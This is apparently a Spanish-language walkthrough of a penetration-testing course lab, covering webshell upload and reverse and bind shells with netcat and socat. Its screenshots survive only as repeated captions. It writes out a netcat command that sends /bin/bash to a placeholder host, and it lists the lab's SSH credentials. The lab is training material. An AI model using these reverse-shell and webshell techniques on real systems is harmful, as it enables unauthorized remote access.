XUT_ / COURSES / PENETRATION TESTER

Linux Practice Box

Puedes iniciar sesión por SSH con:

  • Username: shell
  • Password: TryH4ckM3!

Sin embargo, deberías intentar aplicar los conocimientos adquiridos sobre webshells.


  1. Intenta subir una webshell, luego usa el comando nc <ip_local> <puerto> -e /bin/bash para mandar una reverse shell a un listener en tu máquina.
    1. Guardamos la webshell en un archivo shell.php. Linux Practice Box
    2. Subimos el archivo. Linux Practice Box
    3. Nos ponemos en escucha. Linux Practice Box
    4. Mandamos la shell. Linux Practice Box
    5. Recibimos la shell. Linux Practice Box
  2. Navega a /usr/share/webshells/php/php-reverse-shell.php en Kali y cambia la IP y puerto para que coincida con un listener en tu máquina y sube la webshell al webserver.
    1. Copiamos la shell y la editamos. Linux Practice Box
    2. Cambiamos lo que nos dice. Linux Practice Box
    3. Subimos el archivo. Linux Practice Box
    4. Nos ponemos en escucha. Linux Practice Box
    5. Cargamos la URL y así recibimos la shell. Linux Practice Box
  3. Inicia sesión en la máquina Linux a través de SSH usando las credenciales proporcionadas. Usa técnicas de la tarea 8 para experimentar con shells de netcat tanto reverse como bind.
    1. Iniciamos sesión con SSH. Linux Practice Box
    2. Nos ponemos en escucha. Linux Practice Box
    3. Ejecutamos uno de los código vistos en la tarea 8 para conseguir una reverse shell. Linux Practice Box
    4. Recibimos la shell. Linux Practice Box
    5. Ahora vamos a probar el comando para conseguir una bind shell. Linux Practice Box
    6. Nos conectamos desde nuestra máquina. Linux Practice Box
    7. Probamos la reverse shell con nc. Linux Practice Box Linux Practice Box Linux Practice Box
    8. Probamos la bind shell con nc. Linux Practice Box Linux Practice Box
  4. Practica reverse y bind shells usando Socat en la máquina Linux. Prueba técnicas normales y especiales.
    1. Empezamos con la bind con técnica normal poniéndonos en escucha. Linux Practice Box
    2. Nos conectamos a la bind shell desde la atacante. Linux Practice Box
    3. Seguimos con la reverse shell de técnica normal. Lanzamos un listener en la máquina atacante. Linux Practice Box
    4. Lanzamos la reverse shell desde el objetivo. Linux Practice Box
    5. Recibimos la shell. Linux Practice Box
    6. Vamos ahora con la técnica especial. Primero configuramos el listener especial. Linux Practice Box
    7. Ejecutamos la reverse shell. Linux Practice Box
    8. Recibimos la shell. Linux Practice Box
  5. Échale un vistazo a Payloads all the Things. Intenta analizarlas y ver por qué funcionan.